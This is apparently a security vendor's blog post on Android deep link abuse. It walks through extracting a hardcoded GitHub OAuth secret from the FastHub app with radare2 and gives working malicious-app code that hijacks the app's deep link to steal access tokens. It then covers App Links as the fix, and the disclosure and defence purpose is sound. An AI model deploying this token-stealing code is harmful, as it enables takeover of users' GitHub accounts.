NOWSECURE NOW AVAILABLE IN THE MICROSOFT AZURE MARKETPLACE

Microsoft Azure customers gain access to NowSecure Mobile App Security and Privacy Testing for scalability, reliability, and agility of Azure to drive mobile appdev and shape business strategies.

Media Announcement
NOWSECURE NOW AVAILABLE IN THE MICROSOFT AZURE MARKETPLACE NOWSECURE NOW AVAILABLE IN THE MICROSOFT AZURE MARKETPLACE Show More
magnifying glass icon

Deep Link Security: How to Guard Against Mobile App Deep Link Abuse

Posted by
Ioannis Gasparis NowSecure

Ioannis Gasparis

Android Security Researcher
At NowSecure Ioannis spends his days researching mobile security threats with a focus on the Android operating system. Ioannis holds a Ph.D. in Computer Science and a Bachelor of Science in Informatics. Publications Ioannis has contributed to include Detecting Android Root Exploits by Learning from Root Providers, Programming Flows in Dense Mobile Environments: A Multi-user Diversity Perspective, Resource Thrifty Secure Mobile Video Transfers on Open WiFi Networks, and Efficient Real-time Information Delivery in Future Internet Publish-Subscribe Networks.

Mobile app developers often use deep links to improve the user experience and engagement by helping users navigate from the web to their app. However, our security testing has found an easily exploitable vulnerability when deep links are used incorrectly for authorization purposes. This blog will explain how this vulnerability can be exploited and how to safeguard your app by using the more secure version of deep links, App Links.

Deep Links Overview

Deep links are URLs that take users directly to specific content in an app. They can be set up by adding a data specification (URI) inside an Intent Filter. Whenever a user clicks a URL (either in a webview in an app or in a web browser in general) that matches the URI specified inside the intent filter, she will be taken to the activity that handles it. Below is an example that shows how to add a deep link that points to your activity in the AndroidManifest.xml file:

<activity android:name="com.nowsecure.example">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:host="login" android:scheme="nowsecure"/>
    </intent-filter>
</activity>

The application that handles this deep link is either going to be (1) the one that is being set by the user to handle such URIs, or (2) the only installed app that can handle it, or (3) a list of apps that handle those URIs in case a preferred one was not set by the user in the first place.

However, this design has a flaw. Sometimes those deep links contain some sensitive data. If a user is not careful, they might allow a malicious app to handle the deep link instead of the legitimate app. Luckily, there is a solution for this, App Links, which we will describe later.

OAuth2 Overview

OAuth2 is an authorization framework that enables applications to obtain limited access to user accounts such as GitHub, GitLab, Facebook etc. It provides a delegated access mechanism to the service that hosts the user account that authorizes third-party applications, APIs or servers in general to access the user account without having to expose any user credentials. To access the protected resources, the protocol uses an Access Token, which is a string that represents granted permissions. The following figure shows the flow of how an application obtains this Access Token:

First the user requests to access the service from the app (client). By doing so, the app will handle on behalf of the user (user-agent). The app will direct the Resource Server to the Authorization Server by including to its request the client id, requested scope, local state and a redirection URI to which the Authorization Server will send the user-agent back once access is either granted or denied. The Authorization Server authenticates the user owner via the user-agent and if the operation is successful, the Authorization Server will redirect the user-agent back to the app via the redirection URI containing the Authorization Code. The app will send then this Authorization Code among with some predefined secrets (code verifier as described by PKCE) to the Authorization Server in order to get the Access Token. Having obtained the Access Token, the app can request resources from the Resource Server by using usually a REST API with the access token inside the HTTP(S) Authorization Header.

Translating the above now to Android terms, in order for the app to be able to receive the Authorization Code from the Authorization Server, it will have to be able to handle the redirection URI that was specified in the initial request. As we described above, this URI will contain the Authorization Code. As you might have already guessed, to do that on Android you have to use either the insecure version of deep links or the more secure one App Links. By using the former, a malicious installed app might be able to obtain the Authorization Code and if it has access to the secrets it might be able to obtain the Access Token as well.

Real Vulnerable Mobile App

Putting it all together we will show how this flaw of deep links can lead to a malicious installed mobile app to obtain access tokens. The mobile app is called FastHub for GitHub and its SHA-256 is: c732c21ebacd3e8f0413edd770c11b280bc6989fe76ba825534fd3cdc995d657. NowSecure disclosed this vulnerability to the developer and he acknowledged the issue.

To use the mobile app you have to allow the app to access your GitHub account. One of the options is to authorize the app to do so by using OAuth. The following familiar screen will appear by doing so:

What we see here is that if we authorize the app to access our GitHub account, the redirection URI will be fasthub://login. To verify that this is a deep link, we can use apktool to obtain the AndroidManifest.xml in case we had only the APK file. There we find the activity com.fastaccess.LoginActivity with the following deep link that matches the one that we saw above.

         
    <activity 
     android:configChanges="keyboard|orientation|screenSize" 
     android:label="@string/app_name" android:launchMode="singleTask" 
     android:name="com.fastaccess.LoginActivity" 
     android:screenOrientation="portrait" 
     android:theme="@style/LoginTheme">
         <intent-filter>
            	<action android:name="android.intent.action.VIEW"/>
            	<category android:name="android.intent.category.DEFAULT"/>
            	<category android:name="android.intent.category.BROWSABLE"/>
            	<data android:host="login" android:scheme="fasthub"/>
         </intent-filter>
</activity>

Now it is time to see how GitHub authorizes OAuth apps. First the app has to make a GET request to https://github.com/login/oauth/authorize including the client_id, redirect_uri and login among the parameters. If the user now accepts that request, GitHub redirects back to the app with a temporary code, the authorization code. After the app receives that, it makes a POST request to https://github.com/login/oauth/access_token with client_id, redirect_uri, client_secret and redirect_uri among the parameters in order to obtain the access_token. Having the access_token, the app can access the GitHub API on behalf of the user.

So if we could obtain the client_id and client_secret we might be able to create a malicious app that grabs the access_token before the legitimate app gets it. Let’s use radare2 to see if the app contains the client_id and client_secret hardcoded. We unzip the app and we open classes.dex with r2. We list the classes/methods and we see if any of those contain the keyword “secret”.

[0x0070371c]> ic | grep -i secret
0x002a7f0c method 6 p	Lcom/ 	fastaccess/data/dao/AuthModel.method.getClientSecret()Ljava/lang/String;
0x002a8094 method 14 p	Lcom/ 	fastaccess/data/dao/AuthModel.method.setClientSecret(Ljava/lang/String;)V
0x002fd8c4 method 2 sp   Lcom/ 	fastaccess/helper/GithubConfigHelper.method.getSecret()Ljava/lang/String;

The last one seems pretty interesting. Let’s find out what methods the GithubConfigHelper class has.

[0x0070371c]> ic | grep GithubConfigHelper
0x0016389c [0x002fd894 - 0x002fd8ca] 	54 class 1955 Lcom/ 	fastaccess/helper/GithubConfigHelper super: Ljava/lang/Object;
0x002fd894 method 0 sp   Lcom/ 	fastaccess/helper/GithubConfigHelper.method.getClientId()Ljava/lang/String;
0x002fd8ac method 1 sp   Lcom/ 	fastaccess/helper/GithubConfigHelper.method.getRedirectUrl()Ljava/lang/String;
0x002fd8c4 method 2 sp   Lcom/ 	fastaccess/helper/GithubConfigHelper.method.getSecret()Ljava/lang/String;

This class seems to have all the data that we need in order for our attack to work. To verify that the data is not obfuscated (the values at 0x002fd8c4 and 0x002fd894 are not obfuscated but they are modified by us):

[0x0070371c]> s 0x002fd8c4
[0x002fd8c4]> pd2
        	0x002fd8c4  	1a00217f   	const-string v0, str.e0000e7ff1000ca1bd006e000000000e1f000000
        	0x002fd8c8  	1100       	return-object v0
[0x002fd8c4]> s 0x002fd894
[0x002fd894]> pd2
        	0x002fd894  	1a00a807   	const-string v0, str.12345678901234567890
        	0x002fd898  	1100       	return-object v0

Having found the client_id and client_secret we can create the following activity in our malicious app. Upon authorizing the legit app to access our GitHub profile, our app is going to display the access_token, with the assumption of course that our app is the default one (or is being selected by the user) to handle the fasthub://login deep link.

public class Main2Activity extends AppCompatActivity {
	private static final String TAG = "NowSecure";
	String url = "https://github.com/login/oauth/access_token?client_id=12345678901234567890&client_secret=e0000e7ff1000ca1bd006e000000000e1f000000&code=";

	@Override
	protected void onCreate(Bundle savedInstanceState) {
    	super.onCreate(savedInstanceState);
    	setContentView(R.layout.activity_main2);
    	Toolbar toolbar = findViewById(R.id.toolbar);
    	setSupportActionBar(toolbar);

    	Intent intent = getIntent();
    	if (intent != null) {
        	Uri uri = intent.getData();
        	if (uri != null) {
            	String authorizationCode = uri.getQueryParameter("code");
            	if (authorizationCode != null) {
                	Log.d(TAG, "Got: " + authorizationCode);
                	getAccessToken(authorizationCode);
            	}
        	}
    	}
	}

	private void getAccessToken(String code) {
    	RequestQueue queue = Volley.newRequestQueue(this);
    	String finalUrl = url + code;
    	StringRequest stringRequest = new StringRequest(Request.Method.GET, finalUrl,
            	new Response.Listener() {
                	@Override
                	public void onResponse(String response) {
                    	Uri uri = Uri.parse("https://github.com/login/oauth/access_token?" + response);
                    	if (uri != null) {
                        	Log.d(TAG, "Access Token: " + uri.getQueryParameter("access_token"));
                    	}
                	}
            	}, new Response.ErrorListener() {
        	@Override
        	public void onErrorResponse(VolleyError error) {
            	Log.d(TAG, "An error occurred");
        	}
    	});
    	queue.add(stringRequest);

	}
}

Here is the corresponding entry in the AndroidManifest.xml file:

<activity
        	android:name=".Main2Activity"
        	android:label="@string/title_activity_main2"
        	android:theme="@style/AppTheme.NoActionBar">
        	<intent-filter>
        	<action android:name="android.intent.action.VIEW" />
        	<category android:name="android.intent.category.DEFAULT" />
        	<category android:name="android.intent.category.BROWSABLE" />
            	<data android:host="login" android:scheme="fasthub"/>
        	</intent-filter>
</activity>

How to Protect Your Mobile App

Having a secret value hardcoded inside a mobile app binary file is always not a good decision, especially when this value is not obfuscated at all. A good security practice is to have those secret values communicated to the app by a remote backend server over a secure transmission protocol.

Moreover, the usage of App Links will make sure that only your app is going to be able to handle any redirect URI or URL in general. App Links in general, are the secure version of deep links. In order for Android to handle your deep links as App Links, you have to set the android:autoVerify="true" in any of the web URL intent filters of your app. Moreover, you cannot have any custom scheme in your intent filter, but only http or https. Last but not least, you have to include a json file with the name assetlinks.json in your web server that is described by the web URL intent filter. For example, if you have the following intent filter:

<activity android:name="com.nowsecure.example" android:autoVerify="true">
     <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:host="www.nowsecure.com" android:scheme="https"/>
     </intent-filter>
</activity>

Then the json file should reside in https://www.nowsecure.com/.well-known/assetlinks.json and be readable by anyone. The json file should look like this:

[{
    "relation": ["delegate_permission/common.handle_all_urls"],
    "target": {
   	 "namespace": "android_app",
   	 "package_name": "com.example.puppies.app",
   	 "sha256_cert_fingerprints": ["14:6D:E9:83:C5:73:06:50:D8:EE:B9:95:2F:34:FC:64:16:A0:83:42:E6:1D:BE:A8:8A:04:96:B2:3F:CF:44:E5"]
    }
}]

The package name should match your app’s package name and the sha256_cert_fingerprints should match the ones of your app’s signing certificate.

Whenever a user clicks an app link, Android will contact your web server, grab the assetlinks.json file and verify that the package name and the app’s signing certificate hash value matches the one of your app. As long as the web server is not compromised, only a single legitimate app will be able to handle this App Link. For more details please read here.

To reduce risk in the mobile apps your team develops, we recommend incorporating automated mobile application security testing into the dev pipeline to find and fix security and privacy flaws faster. NowSecure offers automated mobile application security testing tools, mobile penetration testing and mobile application security training. Get a demo today.